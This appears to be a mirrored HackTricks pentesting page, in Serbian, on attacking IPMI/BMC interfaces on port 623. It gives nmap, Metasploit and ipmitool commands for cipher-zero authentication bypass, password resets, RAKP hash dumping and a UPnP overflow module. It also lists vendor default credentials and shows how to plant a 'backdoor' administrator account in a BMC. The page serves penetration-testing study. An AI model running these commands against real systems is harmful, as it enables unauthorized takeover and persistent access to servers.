mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
148 lines
10 KiB
Markdown
148 lines
10 KiB
Markdown
# 623/UDP/TCP - IPMI
|
|
|
|
## 623/UDP/TCP - IPMI
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Basic Information
|
|
|
|
### **Overview of IPMI**
|
|
|
|
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** nudi standardizovani pristup za daljinsko upravljanje i nadgledanje računarskih sistema, nezavisno od operativnog sistema ili stanja napajanja. Ova tehnologija omogućava sistem administratorima da upravljaju sistemima na daljinu, čak i kada su isključeni ili neodgovaraju, i posebno je korisna za:
|
|
|
|
- Konfiguracije pre pokretanja operativnog sistema
|
|
- Upravljanje isključenjem
|
|
- Oporavak od sistemskih grešaka
|
|
|
|
IPMI je sposoban da nadgleda temperature, napone, brzine ventilatora i napajanja, uz pružanje informacija o inventaru, pregledanje hardverskih logova i slanje upozorenja putem SNMP-a. Osnovni zahtevi za njegov rad su izvor napajanja i LAN konekcija.
|
|
|
|
Od svog uvođenja od strane Intela 1998. godine, IPMI je podržan od strane brojnih dobavljača, poboljšavajući mogućnosti daljinskog upravljanja, posebno sa podrškom verzije 2.0 za serijsku komunikaciju preko LAN-a. Ključne komponente uključuju:
|
|
|
|
- **Baseboard Management Controller (BMC):** Glavni mikro-kontroler za IPMI operacije.
|
|
- **Communication Buses and Interfaces:** Za internu i eksternu komunikaciju, uključujući ICMB, IPMB i razne interfejse za lokalne i mrežne konekcije.
|
|
- **IPMI Memory:** Za čuvanje logova i podataka.
|
|
|
|
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
|
|
|
**Default Port**: 623/UDP/TCP (Obično je na UDP-u, ali može biti i na TCP-u)
|
|
|
|
## Enumeration
|
|
|
|
### Discovery
|
|
```bash
|
|
nmap -n -p 623 10.0.0./24
|
|
nmap -n-sU -p 623 10.0.0./24
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
```
|
|
Možete **identifikovati** **verziju** koristeći:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
|
```
|
|
### IPMI Ranljivosti
|
|
|
|
U oblasti IPMI 2.0, značajna sigurnosna slabost otkrivena je od strane Dana Farmera, otkrivajući ranjivost kroz **cipher type 0**. Ova ranjivost, dokumentovana u detalje na [istraživanju Dana Farmera](http://fish2.com/ipmi/cipherzero.html), omogućava neovlašćen pristup sa bilo kojom lozinkom pod uslovom da je ciljana validna korisnička. Ova slabost je pronađena kod različitih BMC-ova proizvođača kao što su HP, Dell i Supermicro, što sugeriše široko rasprostranjen problem unutar svih IPMI 2.0 implementacija.
|
|
|
|
### **IPMI Zaobilaženje Autentifikacije putem Cipher 0**
|
|
|
|
Da bi se otkrila ova slabost, može se koristiti sledeći Metasploit pomoćni skener:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
|
```
|
|
Eksploatacija ove greške je moguća sa `ipmitool`, kao što je prikazano u nastavku, omogućavajući listanje i modifikaciju korisničkih lozinki:
|
|
```bash
|
|
apt-get install ipmitool # Installation command
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
|
```
|
|
### **IPMI 2.0 RAKP Autentifikacija Udaljeno Preuzimanje Hash-a Lozinke**
|
|
|
|
Ova ranjivost omogućava preuzimanje zasoljenih hash-ova lozinki (MD5 i SHA1) za bilo koje postojeće korisničko ime. Da biste testirali ovu ranjivost, Metasploit nudi modul:
|
|
```bash
|
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
|
```
|
|
### **IPMI Anonymous Authentication**
|
|
|
|
Podrazumevana konfiguracija u mnogim BMC-ima omogućava "anonimni" pristup, koji se karakteriše nul korisničkim imenom i lozinkom. Ova konfiguracija se može iskoristiti za resetovanje lozinki imenovanih korisničkih naloga koristeći `ipmitool`:
|
|
```bash
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
|
```
|
|
### **Supermicro IPMI Lozinke u Čistom Tekstu**
|
|
|
|
Kritična dizajnerska odluka u IPMI 2.0 zahteva skladištenje lozinki u čistom tekstu unutar BMC-a u svrhe autentifikacije. Skladištenje ovih lozinki na mestima kao što su `/nv/PSBlock` ili `/nv/PSStore` postavlja značajne bezbednosne brige:
|
|
```bash
|
|
cat /nv/PSBlock
|
|
```
|
|
### **Supermicro IPMI UPnP Ranljivost**
|
|
|
|
Uključivanje UPnP SSDP slušatelja u Supermicro-ovom IPMI firmveru, posebno na UDP portu 1900, uvodi ozbiljan bezbednosni rizik. Ranljivosti u Intel SDK za UPnP uređaje verzije 1.3.1, kako je detaljno opisano u [Rapid7-ovom otkriću](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), omogućavaju pristup root-u BMC-u:
|
|
```bash
|
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
|
```
|
|
### Brute Force
|
|
|
|
**HP nasumično generiše podrazumevanu lozinku** za svoj **Integrated Lights Out (iLO)** proizvod tokom proizvodnje. Ova praksa se razlikuje od drugih proizvođača, koji obično koriste **statične podrazumevane akreditive**. Sažetak podrazumevanih korisničkih imena i lozinki za različite proizvode je dat u nastavku:
|
|
|
|
- **HP Integrated Lights Out (iLO)** koristi **fabricki nasumično generisanu 8-znamenkastu string** kao svoju podrazumevanu lozinku, pokazujući viši nivo sigurnosti.
|
|
- Proizvodi poput **Dell-ovog iDRAC, IBM-ovog IMM** i **Fujitsu-ovog Integrated Remote Management Controller** koriste lako pogađajuće lozinke kao što su "calvin", "PASSW0RD" (sa nulom) i "admin" redom.
|
|
- Slično tome, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** takođe koriste jednostavne podrazumevane akreditive, pri čemu "ADMIN", "changeme" i "admin" služe kao njihove lozinke.
|
|
|
|
|
|
## Accessing the Host via BMC
|
|
|
|
Administrativni pristup Kontroleru upravljanja matičnom pločom (BMC) otvara različite puteve za pristup operativnom sistemu hosta. Jednostavan pristup uključuje iskorišćavanje KVM funkcionalnosti BMC-a. To se može uraditi ili ponovnim pokretanjem hosta u root shell putem GRUB-a (koristeći `init=/bin/sh`) ili pokretanjem sa virtuelnog CD-ROM-a postavljenog kao disk za oporavak. Ove metode omogućavaju direktnu manipulaciju diskom hosta, uključujući umetanje backdoor-a, ekstrakciju podataka ili bilo koje potrebne radnje za procenu sigurnosti. Međutim, ovo zahteva ponovno pokretanje hosta, što je značajan nedostatak. Bez ponovnog pokretanja, pristup aktivnom hostu je složeniji i varira u zavisnosti od konfiguracije hosta. Ako fizička ili serijska konzola hosta ostane prijavljena, može se lako preuzeti putem KVM ili serial-over-LAN (sol) funkcionalnosti BMC-a koristeći `ipmitool`. Istraživanje iskorišćavanja zajedničkih hardverskih resursa, poput i2c magistrale i Super I/O čipa, je oblast koja zahteva dalju istragu.
|
|
|
|
## Introducing Backdoors into BMC from the Host
|
|
|
|
Nakon kompromitovanja hosta opremljenog BMC-om, **lokalni BMC interfejs se može iskoristiti za umetanje backdoor korisničkog naloga**, stvarajući trajnu prisutnost na serveru. Ovaj napad zahteva prisustvo **`ipmitool`** na kompromitovanom hostu i aktivaciju podrške za BMC drajvere. Sledeće komande ilustruju kako se novi korisnički nalog može ubrizgati u BMC koristeći lokalni interfejs hosta, što zaobilazi potrebu za autentifikacijom. Ova tehnika je primenljiva na širok spektar operativnih sistema uključujući Linux, Windows, BSD, pa čak i DOS.
|
|
```bash
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
|
|
ipmitool user set name 4 backdoor
|
|
ipmitool user set password 4 backdoor
|
|
ipmitool user priv 4 4
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
4 backdoor true false true ADMINISTRATOR
|
|
```
|
|
## Shodan
|
|
|
|
* `port:623`
|
|
|
|
## References
|
|
|
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
|
|
|
{% hint style="success" %}
|
|
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Podrška HackTricks</summary>
|
|
|
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
{% endhint %}
|